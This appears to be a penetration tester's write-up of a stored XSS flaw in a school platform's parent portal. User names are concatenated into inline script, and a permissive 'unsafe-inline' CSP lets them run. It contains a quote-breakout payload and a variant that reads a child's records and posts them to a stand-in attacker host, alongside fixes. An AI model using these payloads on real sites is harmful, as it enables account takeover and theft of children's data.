A Support Widget Handed Me Every Parent's Account
Everything here is real. The client, the product, and the hostnames are masked. Every request and response has been rewritten against
app.example.comso nothing traces back. If you want the payload catalogue behind this write up, keep PayloadsAllTheThings XSS Injection open in another tab while you read.
Some bugs you go hunting for. This one walked up and introduced itself.
I was testing a K12 education platform, the kind schools hand to teachers and parents so families can follow a child's reading progress. Two very different audiences share one backend. Staff get a console with roles stacked six deep, from teacher all the way to super admin. Parents get a stripped down portal that shows their own kid and almost nothing else. My job was to break the parent side and, if I was lucky, climb from a parent into staff.
The parent portal was, on the surface, boring in the good way. Login was solid. The session cookie came back HttpOnly, so document.cookie was a dead end from the first minute. Object level checks on the obvious endpoints held up. If you only poke at the front door, you close the report and move on.
I do not close reports early. So I did what I always do when an app looks clean: I read its JavaScript.
Reading the bundle nobody reads
Modern single page apps ship a compiled bundle, and almost nobody looks inside it because it is minified into soup. That soup is exactly where the interesting decisions live, because developers assume no one is reading it. I pulled the parent app's main chunk, ran it through a beautifier, and started grepping for the patterns that turn data into code: innerHTML, document.write, eval, dangerouslySetInnerHTML, and any place a string got built with + and then dropped into the DOM.
One function stopped me cold. When a parent clicked the little "Help" button in the corner, the app initialized a third party support widget like this:
var s = document.createElement('script');
s.innerHTML = "FreshChatWidget('identify','ticketForm',{name:'" + e.name + "',email:'" + e.email + "'})";
document.body.appendChild(s);
Read that slowly, because it is doing something genuinely reckless. It creates a fresh <script> element, and it builds the contents of that script by gluing e.name and e.email straight into a string with no encoding at all. Then it appends the script to the page, which tells the browser to run it.
e.name and e.email are not some safe system value. They come from the logged in guardian's own profile. Whatever a parent's name is set to, the app will paste it into live JavaScript and execute it. The widget was supposed to receive a name and an email so the support form could pre fill. Instead it became a loaded gun pointed at the person holding it.
The one control that was supposed to save them
Building a script tag out of user data should not, on its own, be game over. Modern browsers have a seatbelt for exactly this: Content Security Policy. A good CSP tells the browser to refuse inline scripts unless they carry a matching nonce or hash, which means an injected <script> simply never runs even if a sink like the one above exists.
So before getting excited I checked the seatbelt. One request tells you everything:
curl -sI https://app.example.com/parent | grep -i content-security-policy
The answer came back like this:
content-security-policy: default-src 'self'; script-src 'self'
https://analytics.example-cdn.com https://widget.example-support.com 'unsafe-inline'; ...
There it was, sitting at the end of the script-src list, quiet as anything: 'unsafe-inline'. That single token tells the browser to trust any inline script on the page, nonce or not. The seatbelt was in the car, unbuckled.
Here is the part I loved. The staff console, served by the same platform, did NOT have this problem. Its routes shipped a strict hash based CSP, and it passed the name and email to the widget as a proper object argument instead of gluing them into a string. Same company, same widget, two teams, two completely different security postures. The parent side had both the dangerous sink and the disabled seatbelt. The staff side had neither. That contrast is what took this from "interesting" to "critical," and it is worth remembering the next time someone tells you a finding cannot be real because "the rest of the app does it correctly."
Making a name run code
Now the fun part. I needed a name that was also a valid piece of JavaScript. Look again at what the app builds:
FreshChatWidget('identify','ticketForm',{name:'[MY NAME GOES HERE]',email:'[email protected]'})
My name gets dropped inside a single quoted string, inside an object, inside a function call. To run my own code I have to climb out of all three, run something, and then clean up the leftover characters so the browser does not choke on a syntax error and refuse the whole thing.
This is the payload I set my guardian name to:
x'});alert(document.domain);//
Small, but every character earns its place. Here is the anatomy:
xgives thenamefield a harmless value soname:'x'is a complete, legal string. Start clean.'closes the string the app opened for me. I am now standing outside the quotes, in real code.});closes the object with}, closes theFreshChatWidget(...)call with), and ends that statement with;. The original function now runs and finishes, none the wiser.alert(document.domain);is my code. This is where, in a real attack, the interesting stuff goes.//comments out everything the app tacks on after my name (',email:'[email protected]'})), so the leftover original code never triggers a syntax error.
After the app interpolates my name, the browser sees this:
FreshChatWidget('identify','ticketForm',{name:'x'});alert(document.domain);//',email:'[email protected]'})
Two clean statements and a comment. The widget initializes normally, then my alert fires. I saved my profile, and the app cheerfully stored the payload with zero sanitization. Then I logged in as that parent, clicked Help, and watched app.example.com pop an alert with its own domain in it. Stored, not reflected. It lives in the guardian record and fires every single time that help button is pressed.
If you want to see how many shapes this same breakout takes across different sinks and frameworks, the PayloadsAllTheThings XSS section is the reference I go back to, and the DOM based XSS notes there map almost one to one onto this innerHTML sink.
"But the cookie is HttpOnly, so who cares"
This is the objection every developer raises, and it is the reason findings like this get downgraded when they should not be. Yes, the session cookie was HttpOnly. Yes, that means my script cannot read it with document.cookie. And no, that does not save you, because I do not need to read the cookie. I just need the browser to keep sending it, which it does automatically.
My injected script runs inside the app's own origin, as the logged in parent. So it can call the app's own API, and the browser attaches that HttpOnly session cookie to every one of those calls for me. I never see the cookie. I do not have to. I am already inside.
Swap the harmless alert for something with intent and the name becomes a full account takeover:
x'});fetch('/api/reading_logs/entries?child_id=self',{credentials:'include'})
.then(r=>r.text())
.then(t=>fetch('https://collect.attacker.example/x',{method:'POST',body:t}));//
That reads the child's private reading data as the parent, then ships it to a server I control. From there I can read or change anything the parent can: the child's progress, the guardian's personal information, delivery settings. HttpOnly stopped cookie theft and stopped nothing else. Session riding does not care that you cannot see the key when you are already sitting in the driver's seat.
From self inflicted to genuinely dangerous
At this point a skeptic says "fine, but a parent can only hack themselves by setting their own weird name." True, if guardian names could only ever be edited by the guardian. They could not.
Staff could edit guardian profiles too. Any mid privileged staff account with write access to parent records could plant that payload into other people's names, on purpose or through their own compromised account. One malicious or phished staff login could seed the payload across a whole district's worth of parents, and every one of those parents fires it the next time they open Help. A self XSS quietly became a stored, one to many account takeover across the platform. The delivery channel was the part that made it scary, and it is the part you only find by asking "who else can write to this field."
I confirmed the whole chain live inside the portal, from the stored name through the popup to a proof fetch running as the parent, and stopped there. Proof, not plunder. That line matters more in this job than almost anything else.
Why it happened, and how you actually kill it
Two independent mistakes had to line up for this to work, which is also the good news, because breaking either one breaks the exploit.
The first mistake was the sink. User controlled data got concatenated into inline script text. The support widget's own API already accepts a plain object argument, which is how the staff console used it and why the staff console was immune. The fix is to hand the widget structured data instead of building a string:
FreshChatWidget('identify', 'ticketForm', { name: e.name, email: e.email });
No string building, no breakout, nothing to escape. If you ever must build markup from user data, reach for textContent and safe DOM APIs, and treat innerHTML with user input as radioactive.
The second mistake was the CSP. 'unsafe-inline' on script-src disabled the browser's built in defense against exactly this class of bug. The strict hash based policy the staff routes already used should have covered the parent routes too. With a nonce or hash based script-src, that injected inline <script> never executes, even if some future refactor reintroduces the sink.
Do both. Fix the sink so the bug does not exist, and fix the CSP so the same bug cannot exist again by accident. Then add a regression test that stores a quote breakout in a guardian name and asserts that nothing runs, because the person who wrote that concatenation was not careless, they were busy, and busy comes back around.
What I took away from it
Three things I keep on a sticky note after this one.
Read the bundle. The login page tells you what the team wanted you to test. The compiled JavaScript tells you what they actually shipped, and the gap between those two is where the good bugs live.
Check the seatbelt separately from the crash. A dangerous sink and a permissive CSP are two findings, and the interesting story is when one team gets both wrong while another team, one route over, gets both right.
Ask who can write to the field. A bug that can only hurt yourself is a curiosity. The same bug, writable by someone else, is a breach. The difference is a single question, and it is the question that turns a shrug into a critical.
The front door was locked. The help desk window was wide open. It usually is.